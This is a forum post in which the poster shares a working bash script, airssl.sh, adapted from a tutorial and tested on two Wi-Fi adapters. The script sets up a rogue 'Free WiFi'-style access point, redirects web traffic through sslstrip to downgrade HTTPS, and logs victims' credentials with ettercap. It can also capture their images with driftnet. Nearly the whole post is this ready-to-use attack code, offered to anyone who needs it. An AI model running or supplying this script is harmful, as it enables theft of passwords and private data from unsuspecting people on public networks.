i have got it to work with some little modification(merging this with a tutorial i have found), also removing the 2 commented lines in etter.conf. Probably the "not browsing issue" was a missing route add line. Here is the code if someone needs it. I have tested it with r8187(very bad performances) and rt73usb(a WUSB54GC with very good results instead):
Code:
#!/bin/bash
# (C)opyright 2009 - killadaninja
# airssl.sh - v1.0
# visit the man page NEW SCRIPT Capturing Passwords With sslstrip AIRSSL.sh
# Dhcpd creation
mkdir -p "/pentest/wireless/airssl"
echo "ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 192.168.5.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128;
option broadcast-address 192.168.5.255;
option routers 192.168.5.129;
option domain-name-servers 8.8.8.8;
range 192.168.5.130 192.168.5.140;
}" > /pentest/wireless/airssl/dhcpd.conf
# Network question
echo
echo "AIRSSL 1.0 - killadaninja "
echo
echo -n "Enter the networks gateway or DNS IP address, for example 192.168.1.254: "
read -e gatewayip
echo -n "Enter your interface thats connected to the internet, for example wlan0: "
read -e internet_interface
echo -n "Enter your interface to be used for the fake AP, for example wlan1: "
read -e fakeap_interface
echo -n "Enter the ESSID you would like your rogue AP to be called, for example Free WiFi: "
read -e ESSID
# Fake ap setup
echo "[+] Configuring FakeAP...."
echo
echo "Airbase-ng will run in its most basic mode, would you like to
configure any extra switches, choose n if your are unsure... y or n "
read ANSWER
if [ $ANSWER = "y" ] ; then
airbase-ng --help
fi
if [ $ANSWER = "y" ] ; then
echo
echo -n "Enter switches, note you have already chosen an ESSID -e this cannot be
redefined, also in this mode you MUST define a channel "
read -e aswitch
echo
echo "[+] Starting FakeAP..."
xterm -geometry 75x15+1+0 -T FakeAP -e airbase-ng "$aswitch" -e "$ESSID" $fakeap_interface &
sleep 2
fi
if [ $ANSWER = "n" ] ; then
echo
echo "[+] Starting FakeAP..."
xterm -geometry 75x15+1+0 -T FakeAP -e airbase-ng -c 1 -e "$ESSID" $fakeap_interface &
sleep 2
fi
# Tables
echo "[+] Configuring forwarding tables..."
ifconfig lo up
ifconfig at0 up &
sleep 1
ifconfig at0 192.168.5.129 netmask 255.255.255.128
ifconfig at0 mtu 1400
route add -net 192.168.5.128 netmask 255.255.255.128 gw 192.168.5.129
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables --table nat --append POSTROUTING --out-interface $internet_interface -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p udp -j DNAT --to $gatewayip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
#iptables -t nat -A POSTROUTING -o at0 -j MASQUERADE
# DHCP
mkdir -p /var/run/dhcpd && chown dhcpd:dhcpd /var/run/dhcpd
echo > '/var/lib/dhcp3/dhcpd.leases'
echo "[+] Setting up DHCP..."
xterm -geometry 75x20+1+100 -T DHCP -e dhcpd3 -d -f -cf "/pentest/wireless/airssl/dhcpd.conf" -pf /var/run/dhcpd/dhcpd.pid at0 &
sleep 3
# Sslstrip
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "[+] Starting sslstrip..."
xterm -geometry 75x15+1+200 -T sslstrip -e sslstrip -f -a -k &
sleep 2
# Ettercap
echo "[+] Configuring ettercap..."
echo
echo "Ettercap will run in its most basic mode(remember to remove # from etter.conf), would you like to
configure any extra switches for example to load plugins or filters,
(advanced users only), if you are unsure choose n, y or n "
read ETTER
if [ $ETTER = "y" ] ; then
ettercap --help
fi
if [ $ETTER = "y" ] ; then
echo -n "Interface type is set you CANNOT use "\"interface type\"" switches here
For the sake of airssl, ettercap WILL USE -u and -p so you are advised
NOT to use -M, also -i is already set and CANNOT be redifined here.
Ettercaps output will be saved to /pentest/wireless/airssl/passwords
DO NOT use the -w switch, also if you enter no switches here ettercap will fail "
echo
read "eswitch"
echo "[+] Starting ettercap..."
xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u "$eswitch" -T -q -i at0 &
sleep 1
fi
if [ $ETTER = "n" ] ; then
echo
echo "[+] Starting ettercap..."
xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u -T -q -w /pentest/wireless/airssl/passwords -i at0 &
sleep 1
fi
# Driftnet
echo
echo "[+] Driftnet?"
echo
echo "Would you also like to start driftnet to capture the victims images,
(this may make the network a little slower), y or n "
read DRIFT
if [ $DRIFT = "y" ] ; then
mkdir -p "/pentest/wireless/airssl/driftnetdata"
echo "[+] Starting driftnet..."
driftnet -i $internet_interface -p -d /pentest/wireless/airssl/driftnetdata &
sleep 3
fi
clear
echo
echo "[+] Activated..."
echo "Airssl is now running, after victim connects and surfs, their credentials
will be displayed in ettercap. You may use right/left mouse buttons
to scroll up/down ettercaps xterm shell, ettercap will also save its output
to /pentest/wireless/airssl/passwords unless you stated otherwise.
Driftnet images will be saved to /pentest/wireless/airssl/driftftnetdata "
echo
echo "[+] IMPORTANT..."
echo "After you have finished please close airssl and clean up properly by hitting y,
if airssl is not closed properly ERRORS WILL OCCUR "
read WISH
# Clean up
if [ $WISH = "y" ] ; then
echo
echo "[+] Cleaning up airssl and resetting iptables..."
killall xterm
killall driftnet
echo "0" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo "[+] Clean up successful..."
echo "[+] Thank you for using airssl, Good Bye..."
exit
fi
exit